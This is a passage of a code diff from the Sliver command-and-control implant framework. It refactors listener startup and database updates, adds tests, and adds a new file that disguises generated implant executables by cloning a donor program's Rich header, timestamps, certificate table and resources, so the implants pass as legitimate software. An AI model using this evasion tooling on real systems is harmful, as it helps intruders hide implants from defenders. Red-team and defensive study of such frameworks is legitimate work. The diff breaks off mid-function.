||||
}
|
||||
if serverConfig.DaemonMode {
|
||||
daemon.Start(daemon.BlankHost, daemon.BlankPort, serverConfig.DaemonConfig.Tailscale)
|
||||
|
||||
+147
-55
@@ -1,10 +1,12 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"runtime/debug"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -68,12 +70,12 @@ var daemonCmd = &cobra.Command{
|
||||
|
||||
listenerJobs, err := db.ListenerJobs()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
fmt.Printf("[!] Failed to load persistent listener jobs: %s\n", err)
|
||||
}
|
||||
|
||||
err = StartPersistentJobs(listenerJobs)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
}
|
||||
|
||||
daemon.Start(lhost, uint16(lport), tailscale)
|
||||
@@ -81,60 +83,150 @@ var daemonCmd = &cobra.Command{
|
||||
}
|
||||
|
||||
func StartPersistentJobs(listenerJobs []*clientpb.ListenerJob) error {
|
||||
if len(listenerJobs) > 0 {
|
||||
// StartPersistentJobs - Start persistent jobs
|
||||
for _, j := range listenerJobs {
|
||||
listenerJob, err := db.ListenerByJobID(j.JobID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
switch j.Type {
|
||||
case constants.HttpStr:
|
||||
job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(job.ID)
|
||||
case constants.HttpsStr:
|
||||
job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(job.ID)
|
||||
case constants.MtlsStr:
|
||||
job, err := c2.StartMTLSListenerJob(listenerJob.MTLSConf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(job.ID)
|
||||
case constants.WGStr:
|
||||
job, err := c2.StartWGListenerJob(listenerJob.WGConf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(job.ID)
|
||||
case constants.DnsStr:
|
||||
job, err := c2.StartDNSListenerJob(listenerJob.DNSConf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(job.ID)
|
||||
case constants.MultiplayerModeStr:
|
||||
id, err := console.JobStartClientListener(listenerJob.MultiConf)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(id)
|
||||
case constants.TCPListenerStr:
|
||||
job, err := c2.StartTCPStagerListenerJob(listenerJob.TCPConf.Host, uint16(listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName, listenerJob.TCPConf.Data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
j.JobID = uint32(job.ID)
|
||||
}
|
||||
db.UpdateHTTPC2Listener(j)
|
||||
if len(listenerJobs) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var startupErrs []error
|
||||
for _, j := range listenerJobs {
|
||||
if j == nil {
|
||||
startupErrs = append(startupErrs, errors.New("persistent startup entry is nil"))
|
||||
continue
|
||||
}
|
||||
|
||||
listenerJob, err := db.ListenerByJobID(j.JobID)
|
||||
if err != nil {
|
||||
startupErrs = append(startupErrs, fmt.Errorf("persistent %s listener (saved job id=%d): failed to load config: %w", j.Type, j.JobID, err))
|
||||
continue
|
||||
}
|
||||
|
||||
startupContext := persistentJobStartupContext(j.Type, j.JobID, listenerJob)
|
||||
savedJobID := j.JobID
|
||||
jobID, err := startPersistentListenerJob(j.Type, listenerJob)
|
||||
if err != nil {
|
||||
startupErrs = append(startupErrs, fmt.Errorf("%s: failed to start: %w", startupContext, err))
|
||||
continue
|
||||
}
|
||||
|
||||
j.JobID = jobID
|
||||
if err := db.UpdateListenerJobID(savedJobID, jobID); err != nil {
|
||||
startupErrs = append(startupErrs, fmt.Errorf("%s: started with new job id=%d but failed to update listener record: %w", startupContext, j.JobID, err))
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
if len(startupErrs) == 0 {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("persistent listener startup errors (%d/%d failed): %w", len(startupErrs), len(listenerJobs), errors.Join(startupErrs...))
|
||||
}
|
||||
|
||||
func startPersistentListenerJob(jobType string, listenerJob *clientpb.ListenerJob) (uint32, error) {
|
||||
switch jobType {
|
||||
case constants.HttpStr, constants.HttpsStr:
|
||||
if listenerJob.HTTPConf == nil {
|
||||
return 0, errors.New("missing HTTP listener configuration")
|
||||
}
|
||||
job, err := c2.StartHTTPListenerJob(listenerJob.HTTPConf)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(job.ID), nil
|
||||
case constants.MtlsStr:
|
||||
if listenerJob.MTLSConf == nil {
|
||||
return 0, errors.New("missing mTLS listener configuration")
|
||||
}
|
||||
job, err := c2.StartMTLSListenerJob(listenerJob.MTLSConf)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(job.ID), nil
|
||||
case constants.WGStr:
|
||||
if listenerJob.WGConf == nil {
|
||||
return 0, errors.New("missing WireGuard listener configuration")
|
||||
}
|
||||
job, err := c2.StartWGListenerJob(listenerJob.WGConf)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(job.ID), nil
|
||||
case constants.DnsStr:
|
||||
if listenerJob.DNSConf == nil {
|
||||
return 0, errors.New("missing DNS listener configuration")
|
||||
}
|
||||
job, err := c2.StartDNSListenerJob(listenerJob.DNSConf)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(job.ID), nil
|
||||
case constants.MultiplayerModeStr:
|
||||
if listenerJob.MultiConf == nil {
|
||||
return 0, errors.New("missing multiplayer listener configuration")
|
||||
}
|
||||
id, err := console.JobStartClientListener(listenerJob.MultiConf)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(id), nil
|
||||
case constants.TCPListenerStr:
|
||||
if listenerJob.TCPConf == nil {
|
||||
return 0, errors.New("missing TCP stager listener configuration")
|
||||
}
|
||||
job, err := c2.StartTCPStagerListenerJob(listenerJob.TCPConf.Host, uint16(listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName, listenerJob.TCPConf.Data)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return uint32(job.ID), nil
|
||||
default:
|
||||
return 0, fmt.Errorf("unsupported listener type %q", jobType)
|
||||
}
|
||||
}
|
||||
|
||||
func persistentJobStartupContext(jobType string, savedJobID uint32, listenerJob *clientpb.ListenerJob) string {
|
||||
prefix := fmt.Sprintf("persistent %s listener (saved job id=%d)", jobType, savedJobID)
|
||||
if listenerJob == nil {
|
||||
return prefix
|
||||
}
|
||||
|
||||
switch jobType {
|
||||
case constants.HttpStr, constants.HttpsStr:
|
||||
if listenerJob.HTTPConf == nil {
|
||||
return prefix
|
||||
}
|
||||
return fmt.Sprintf("%s [%s domain=%q]", prefix, listenerBind(listenerJob.HTTPConf.Host, listenerJob.HTTPConf.Port), listenerJob.HTTPConf.Domain)
|
||||
case constants.MtlsStr:
|
||||
if listenerJob.MTLSConf == nil {
|
||||
return prefix
|
||||
}
|
||||
return fmt.Sprintf("%s [%s]", prefix, listenerBind(listenerJob.MTLSConf.Host, listenerJob.MTLSConf.Port))
|
||||
case constants.WGStr:
|
||||
if listenerJob.WGConf == nil {
|
||||
return prefix
|
||||
}
|
||||
return fmt.Sprintf("%s [wg_port=%d netstack_port=%d key_port=%d]", prefix, listenerJob.WGConf.Port, listenerJob.WGConf.NPort, listenerJob.WGConf.KeyPort)
|
||||
case constants.DnsStr:
|
||||
if listenerJob.DNSConf == nil {
|
||||
return prefix
|
||||
}
|
||||
return fmt.Sprintf("%s [%s domains=%s]", prefix, listenerBind(listenerJob.DNSConf.Host, listenerJob.DNSConf.Port), strings.Join(listenerJob.DNSConf.Domains, ","))
|
||||
case constants.MultiplayerModeStr:
|
||||
if listenerJob.MultiConf == nil {
|
||||
return prefix
|
||||
}
|
||||
return fmt.Sprintf("%s [%s]", prefix, listenerBind(listenerJob.MultiConf.Host, listenerJob.MultiConf.Port))
|
||||
case constants.TCPListenerStr:
|
||||
if listenerJob.TCPConf == nil {
|
||||
return prefix
|
||||
}
|
||||
return fmt.Sprintf("%s [%s profile=%q]", prefix, listenerBind(listenerJob.TCPConf.Host, listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName)
|
||||
default:
|
||||
return prefix
|
||||
}
|
||||
}
|
||||
|
||||
func listenerBind(host string, port uint32) string {
|
||||
host = strings.TrimSpace(host)
|
||||
if host == "" {
|
||||
host = "*"
|
||||
}
|
||||
return fmt.Sprintf("%s:%d", host, port)
|
||||
}
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/gofrs/uuid"
|
||||
"gorm.io/gorm"
|
||||
"gorm.io/gorm/clause"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -66,7 +67,10 @@ func hostsSessionCallback(session *Session) {
|
||||
}
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
coreLog.Infof("Session %v is from a new host", session.ID)
|
||||
err := dbSession.Create(&models.Host{
|
||||
err := dbSession.Clauses(clause.OnConflict{
|
||||
Columns: []clause.Column{{Name: "host_uuid"}},
|
||||
DoNothing: true,
|
||||
}).Create(&models.Host{
|
||||
HostUUID: uuid.FromStringOrNil(session.UUID),
|
||||
Hostname: session.Hostname,
|
||||
OSVersion: session.OS,
|
||||
@@ -94,7 +98,10 @@ func hostsBeaconCallback(beacon *models.Beacon) {
|
||||
}
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
coreLog.Infof("Beacon %v is from a new host", beacon.ID)
|
||||
err := dbSession.Create(&models.Host{
|
||||
err := dbSession.Clauses(clause.OnConflict{
|
||||
Columns: []clause.Column{{Name: "host_uuid"}},
|
||||
DoNothing: true,
|
||||
}).Create(&models.Host{
|
||||
HostUUID: uuid.FromStringOrNil(beacon.UUID.String()),
|
||||
Hostname: beacon.Hostname,
|
||||
OSVersion: beacon.OS,
|
||||
|
||||
+41
-3
@@ -528,12 +528,50 @@ func SaveC2Listener(listenerConf *clientpb.ListenerJob) error {
|
||||
}
|
||||
|
||||
func UpdateHTTPC2Listener(listenerConf *clientpb.ListenerJob) error {
|
||||
dbListener := models.ListenerJobFromProtobuf(listenerConf)
|
||||
dbSession := Session()
|
||||
result := dbSession.Save(dbListener)
|
||||
if listenerConf == nil {
|
||||
return errors.New("listener config is nil")
|
||||
}
|
||||
if listenerConf.ID == "" {
|
||||
return errors.New("listener config id is empty")
|
||||
}
|
||||
|
||||
listenerID := uuid.FromStringOrNil(listenerConf.ID)
|
||||
if listenerID == uuid.Nil {
|
||||
return fmt.Errorf("invalid listener config id %q", listenerConf.ID)
|
||||
}
|
||||
|
||||
result := Session().
|
||||
Model(&models.ListenerJob{}).
|
||||
Where(&models.ListenerJob{ID: listenerID}).
|
||||
Updates(map[string]any{
|
||||
"job_id": listenerConf.JobID,
|
||||
"type": listenerConf.Type,
|
||||
})
|
||||
if result.Error != nil {
|
||||
return result.Error
|
||||
}
|
||||
if result.RowsAffected == 0 {
|
||||
return fmt.Errorf("listener record %s not found", listenerConf.ID)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// UpdateListenerJobID - Update a listener record's job id while preserving listener configuration rows.
|
||||
func UpdateListenerJobID(oldJobID uint32, newJobID uint32) error {
|
||||
if oldJobID == newJobID {
|
||||
return nil
|
||||
}
|
||||
|
||||
result := Session().
|
||||
Model(&models.ListenerJob{}).
|
||||
Where("job_id = ?", oldJobID).
|
||||
Update("job_id", newJobID)
|
||||
if result.Error != nil {
|
||||
return result.Error
|
||||
}
|
||||
if result.RowsAffected == 0 {
|
||||
return fmt.Errorf("listener job id %d not found", oldJobID)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -464,6 +464,10 @@ func RandomPaths(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minPaths int3
|
||||
}
|
||||
|
||||
func randomSample(values []*clientpb.HTTPC2PathSegment, min int32, max int32) []*clientpb.HTTPC2PathSegment {
|
||||
if len(values) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
count := int32(util.Intn(len(values)))
|
||||
if count < min {
|
||||
count = min
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
package models
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
func TestRandomSampleEmptyValues(t *testing.T) {
|
||||
sample := randomSample(nil, 1, 3)
|
||||
if len(sample) != 0 {
|
||||
t.Fatalf("expected empty sample, got %d entries", len(sample))
|
||||
}
|
||||
}
|
||||
|
||||
func TestRandomPathSegmentsWithNoSegments(t *testing.T) {
|
||||
defer func() {
|
||||
if recovered := recover(); recovered != nil {
|
||||
t.Fatalf("RandomPathSegments panicked with empty input: %v", recovered)
|
||||
}
|
||||
}()
|
||||
|
||||
config := &clientpb.HTTPC2ImplantConfig{
|
||||
MinFileGen: 1,
|
||||
MaxFileGen: 3,
|
||||
MinPathGen: 0,
|
||||
MaxPathGen: 3,
|
||||
}
|
||||
segments := RandomPathSegments(config)
|
||||
if len(segments) != 0 {
|
||||
t.Fatalf("expected no path segments, got %d", len(segments))
|
||||
}
|
||||
}
|
||||
@@ -1049,6 +1049,14 @@ func GenerateConfig(name string, implantConfig *clientpb.ImplantConfig) (*client
|
||||
|
||||
// Generate wg Keys as needed
|
||||
if models.IsC2Enabled([]string{"wg"}, implantConfig.C2) {
|
||||
if strings.TrimSpace(implantConfig.WGPeerTunIP) == "" {
|
||||
uniqueIP, err := GenerateUniqueIP()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to generate wireguard peer tunnel IP: %w", err)
|
||||
}
|
||||
implantConfig.WGPeerTunIP = uniqueIP.String()
|
||||
}
|
||||
|
||||
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(implantConfig.WGPeerTunIP)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -38,6 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/server/watchtower"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gorm.io/gorm/clause"
|
||||
)
|
||||
|
||||
@@ -136,12 +137,53 @@ func ImplantBuildSave(build *clientpb.ImplantBuild, config *clientpb.ImplantConf
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
overwriteImplantBuild(build, implantBuild)
|
||||
|
||||
watchtower.AddImplantToWatchlist(implantBuild)
|
||||
storageLog.Infof("%s -> %s", implantBuild.ID, implantBuild.Name)
|
||||
return os.WriteFile(filepath.Join(buildsDir, implantBuild.ID), data, 0600)
|
||||
}
|
||||
|
||||
// ImplantBuildUpdateFile updates an existing build's stored binary and checksums.
|
||||
func ImplantBuildUpdateFile(build *clientpb.ImplantBuild, data []byte) error {
|
||||
if build == nil {
|
||||
return errors.New("nil implant build")
|
||||
}
|
||||
if build.ID == "" {
|
||||
return errors.New("missing implant build id")
|
||||
}
|
||||
|
||||
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
|
||||
build.MD5 = md5Hash
|
||||
build.SHA1 = sha1Hash
|
||||
build.SHA256 = sha256Hash
|
||||
|
||||
updatedBuild, err := db.SaveImplantBuild(build)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
overwriteImplantBuild(build, updatedBuild)
|
||||
|
||||
buildsDir, err := getBuildsDir()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
watchtower.AddImplantToWatchlist(build)
|
||||
storageLog.Infof("updated build %s (%s)", build.ID, build.Name)
|
||||
return os.WriteFile(filepath.Join(buildsDir, build.ID), data, 0600)
|
||||
}
|
||||
|
||||
// overwriteImplantBuild replaces dst message content without copying internal
|
||||
// proto runtime state that includes lock values.
|
||||
func overwriteImplantBuild(dst *clientpb.ImplantBuild, src *clientpb.ImplantBuild) {
|
||||
if dst == nil || src == nil {
|
||||
return
|
||||
}
|
||||
proto.Reset(dst)
|
||||
proto.Merge(dst, src)
|
||||
}
|
||||
|
||||
func SaveStage(build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, stage2 []byte, stageType string) error {
|
||||
md5Hash, sha1Hash, sha256Hash := computeHashes(stage2)
|
||||
buildsDir, err := getBuildsDir()
|
||||
|
||||
@@ -0,0 +1,732 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
const (
|
||||
SECTION_NAME = 8
|
||||
DEFAULT_CHARACTERISTICS = 0x40000040
|
||||
)
|
||||
|
||||
// SpoofMetadataConfig describes metadata mutation inputs by executable format.
|
||||
// Additional executable formats can be added as new fields without changing the
|
||||
// high-level API.
|
||||
type SpoofMetadataConfig struct {
|
||||
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
|
||||
}
|
||||
|
||||
// PESpoofMetadataConfig contains PE-specific metadata mutation inputs.
|
||||
type PESpoofMetadataConfig struct {
|
||||
// Source is the donor PE for metadata/resource cloning.
|
||||
Source *SpoofMetadataFile `json:"source,omitempty" yaml:"source,omitempty"`
|
||||
// Icon is reserved for future standalone icon mutation support.
|
||||
Icon *SpoofMetadataFile `json:"icon,omitempty" yaml:"icon,omitempty"`
|
||||
// Optional PE structure overrides applied after donor metadata cloning.
|
||||
ResourceDirectory *IMAGE_RESOURCE_DIRECTORY `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
|
||||
ResourceDirectoryEntries []*IMAGE_RESOURCE_DIRECTORY_ENTRY `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
|
||||
ResourceDataEntries []*IMAGE_RESOURCE_DATA_ENTRY `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
|
||||
ExportDirectory *IMAGE_EXPORT_DIRECTORY `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
|
||||
}
|
||||
|
||||
// SpoofMetadataFile is binary metadata content passed from the client.
|
||||
type SpoofMetadataFile struct {
|
||||
Name string `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
Data []byte `json:"data,omitempty" yaml:"data,omitempty"`
|
||||
}
|
||||
|
||||
// PE STRUCTURE DEFINITIONS ===================================================
|
||||
// ============================================================================
|
||||
type IMAGE_RESOURCE_DIRECTORY struct {
|
||||
Characteristics uint32
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
NumberOfNamedEntries uint16
|
||||
NumberOfIdEntries uint16
|
||||
}
|
||||
|
||||
type IMAGE_RESOURCE_DIRECTORY_ENTRY struct {
|
||||
Name uint32
|
||||
OffsetToData uint32
|
||||
}
|
||||
|
||||
type IMAGE_RESOURCE_DATA_ENTRY struct {
|
||||
OffsetToData uint32
|
||||
Size uint32
|
||||
CodePage uint32
|
||||
Reserved uint32
|
||||
}
|
||||
|
||||
type IMAGE_EXPORT_DIRECTORY struct {
|
||||
Characteristics uint32
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
Name uint32
|
||||
Base uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32
|
||||
AddressOfFunctions uint32
|
||||
AddressOfNames uint32
|
||||
AddressOfNameOrdinals uint32
|
||||
}
|
||||
|
||||
// CORE METADATA SPOOFING LOGIC ===============================================
|
||||
// ============================================================================
|
||||
func SpoofMetadata(targetPath string, metadata *SpoofMetadataConfig) error {
|
||||
if metadata == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if metadata.PE != nil {
|
||||
if metadata.PE.Source == nil || len(metadata.PE.Source.Data) == 0 {
|
||||
return errors.New("pe spoof metadata source data is required")
|
||||
}
|
||||
return spoofPEMetadata(targetPath, metadata.PE)
|
||||
}
|
||||
|
||||
return errors.New("unsupported spoof metadata format")
|
||||
}
|
||||
|
||||
func spoofPEMetadata(targetPath string, metadata *PESpoofMetadataConfig) error {
|
||||
if metadata == nil || metadata.Source == nil {
|
||||
return errors.New("pe spoof metadata source data is required")
|
||||
}
|
||||
spoofData := metadata.Source.Data
|
||||
if len(spoofData) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
srcFile, err := pe.NewFile(bytes.NewReader(spoofData))
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to parse spoof file: %v", err)
|
||||
}
|
||||
defer srcFile.Close()
|
||||
|
||||
targetBytes, err := os.ReadFile(targetPath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to read target file: %v", err)
|
||||
}
|
||||
|
||||
tgtFile, err := pe.NewFile(bytes.NewReader(targetBytes))
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to parse target file: %v", err)
|
||||
}
|
||||
defer tgtFile.Close()
|
||||
|
||||
// Rich Header Injection =======================================
|
||||
|
||||
if len(srcFile.RichHeader) > 0 {
|
||||
tgtFile.RichHeader = srcFile.RichHeader
|
||||
dosSize := uint32(binary.Size(tgtFile.DosHeader))
|
||||
stubSize := uint32(0)
|
||||
if tgtFile.DosExists {
|
||||
stubSize = uint32(binary.Size(tgtFile.DosStub))
|
||||
}
|
||||
newOffset := dosSize + stubSize + uint32(len(tgtFile.RichHeader))
|
||||
newOffset = alignUp(newOffset, 8)
|
||||
tgtFile.DosHeader.AddressOfNewExeHeader = newOffset
|
||||
}
|
||||
|
||||
// === Comprehensive Timestamp Cloning ===
|
||||
|
||||
timestamp := srcFile.FileHeader.TimeDateStamp
|
||||
tgtFile.FileHeader.TimeDateStamp = timestamp
|
||||
|
||||
// === Digital Signature "Luring" ===
|
||||
|
||||
if len(srcFile.CertificateTable) > 0 {
|
||||
tgtFile.CertificateTable = srcFile.CertificateTable
|
||||
}
|
||||
|
||||
// === Resource Section Injection ===
|
||||
|
||||
srcRsrc := srcFile.Section(".rsrc")
|
||||
if srcRsrc != nil {
|
||||
srcRsrcData, err := srcRsrc.Data()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to read source .rsrc data: %v", err)
|
||||
}
|
||||
|
||||
var rsrcSection *pe.Section
|
||||
rsrcSection = tgtFile.Section(".rsrc")
|
||||
|
||||
if rsrcSection != nil {
|
||||
sectAlign := uint32(0x1000)
|
||||
fileAlign := uint32(0x200)
|
||||
switch hdr := tgtFile.OptionalHeader.(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
sectAlign = hdr.SectionAlignment
|
||||
fileAlign = hdr.FileAlignment
|
||||
case *pe.OptionalHeader64:
|
||||
sectAlign = hdr.SectionAlignment
|
||||
fileAlign = hdr.FileAlignment
|
||||
}
|
||||
|
||||
rsrcSection.VirtualSize = alignUp(uint32(len(srcRsrcData)), sectAlign)
|
||||
rsrcSection.Size = alignUp(uint32(len(srcRsrcData)), fileAlign)
|
||||
|
||||
delta := int64(rsrcSection.VirtualAddress) - int64(srcRsrc.VirtualAddress)
|
||||
|
||||
newRsrcData := make([]byte, len(srcRsrcData))
|
||||
copy(newRsrcData, srcRsrcData)
|
||||
if err := fixupResourceRVAs(newRsrcData, delta); err != nil {
|
||||
return fmt.Errorf("failed to fixup resource RVAs: %v", err)
|
||||
}
|
||||
|
||||
updateResourceTimestamp(newRsrcData, timestamp)
|
||||
|
||||
rsrcSection.Replace(bytes.NewReader(newRsrcData), int64(len(newRsrcData)))
|
||||
|
||||
switch hdr := tgtFile.OptionalHeader.(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = rsrcSection.VirtualSize
|
||||
case *pe.OptionalHeader64:
|
||||
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = rsrcSection.VirtualSize
|
||||
}
|
||||
|
||||
} else {
|
||||
newSection, err := addSection(tgtFile, ".rsrc", uint32(len(srcRsrcData)))
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add .rsrc section: %v", err)
|
||||
}
|
||||
|
||||
delta := int64(newSection.VirtualAddress) - int64(srcRsrc.VirtualAddress)
|
||||
newRsrcData := make([]byte, len(srcRsrcData))
|
||||
copy(newRsrcData, srcRsrcData)
|
||||
if err := fixupResourceRVAs(newRsrcData, delta); err != nil {
|
||||
return fmt.Errorf("failed to fixup resource RVAs: %v", err)
|
||||
}
|
||||
|
||||
updateResourceTimestamp(newRsrcData, timestamp)
|
||||
|
||||
newSection.Replace(bytes.NewReader(newRsrcData), int64(len(newRsrcData)))
|
||||
|
||||
switch hdr := tgtFile.OptionalHeader.(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress = newSection.VirtualAddress
|
||||
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = newSection.VirtualSize
|
||||
case *pe.OptionalHeader64:
|
||||
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress = newSection.VirtualAddress
|
||||
hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_RESOURCE].Size = newSection.VirtualSize
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// === Export Directory Timestamp ===
|
||||
if err := updateExportTimestamp(tgtFile, timestamp); err != nil {
|
||||
// since the payload will not export anything, it is safe to ignore this
|
||||
_ = err
|
||||
}
|
||||
|
||||
if err := applyPEMetadataOverrides(tgtFile, metadata); err != nil {
|
||||
return fmt.Errorf("failed to apply PE metadata overrides: %w", err)
|
||||
}
|
||||
|
||||
modifiedBytes, err := tgtFile.Bytes()
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to serialize modified PE: %v", err)
|
||||
}
|
||||
|
||||
// === Checksum Re-calculation ===
|
||||
peHeaderOffset := int(binary.LittleEndian.Uint32(modifiedBytes[0x3c:]))
|
||||
checksumOffset := peHeaderOffset + 88
|
||||
|
||||
if checksumOffset+4 <= len(modifiedBytes) {
|
||||
binary.LittleEndian.PutUint32(modifiedBytes[checksumOffset:], 0)
|
||||
csum := calcChecksum(modifiedBytes)
|
||||
binary.LittleEndian.PutUint32(modifiedBytes[checksumOffset:], csum)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(targetPath, modifiedBytes, 0755); err != nil {
|
||||
return fmt.Errorf("failed to write modified binary: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyPEMetadataOverrides(peFile *pe.File, metadata *PESpoofMetadataConfig) error {
|
||||
if metadata == nil {
|
||||
return nil
|
||||
}
|
||||
if err := applyPEResourceOverrides(peFile, metadata); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := applyPEExportOverrides(peFile, metadata.ExportDirectory); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyPEResourceOverrides(peFile *pe.File, metadata *PESpoofMetadataConfig) error {
|
||||
if metadata == nil {
|
||||
return nil
|
||||
}
|
||||
hasOverrides := metadata.ResourceDirectory != nil ||
|
||||
len(metadata.ResourceDirectoryEntries) > 0 ||
|
||||
len(metadata.ResourceDataEntries) > 0
|
||||
if !hasOverrides {
|
||||
return nil
|
||||
}
|
||||
|
||||
rsrcSection := peFile.Section(".rsrc")
|
||||
if rsrcSection == nil {
|
||||
return errors.New("resource overrides requested but target PE has no .rsrc section")
|
||||
}
|
||||
resourceData, err := rsrcSection.Data()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
modifiedData, err := applyResourceSectionOverrides(resourceData, metadata.ResourceDirectory, metadata.ResourceDirectoryEntries, metadata.ResourceDataEntries)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rsrcSection.Replace(bytes.NewReader(modifiedData), int64(len(modifiedData)))
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyResourceSectionOverrides(
|
||||
sectionData []byte,
|
||||
resourceDirectory *IMAGE_RESOURCE_DIRECTORY,
|
||||
resourceDirectoryEntries []*IMAGE_RESOURCE_DIRECTORY_ENTRY,
|
||||
resourceDataEntries []*IMAGE_RESOURCE_DATA_ENTRY,
|
||||
) ([]byte, error) {
|
||||
hasOverrides := resourceDirectory != nil ||
|
||||
len(resourceDirectoryEntries) > 0 ||
|
||||
len(resourceDataEntries) > 0
|
||||
if !hasOverrides {
|
||||
return append([]byte(nil), sectionData...), nil
|
||||
}
|
||||
if len(sectionData) < 16 {
|
||||
return nil, errors.New("resource section too small")
|
||||
}
|
||||
|
||||
modifiedData := append([]byte(nil), sectionData...)
|
||||
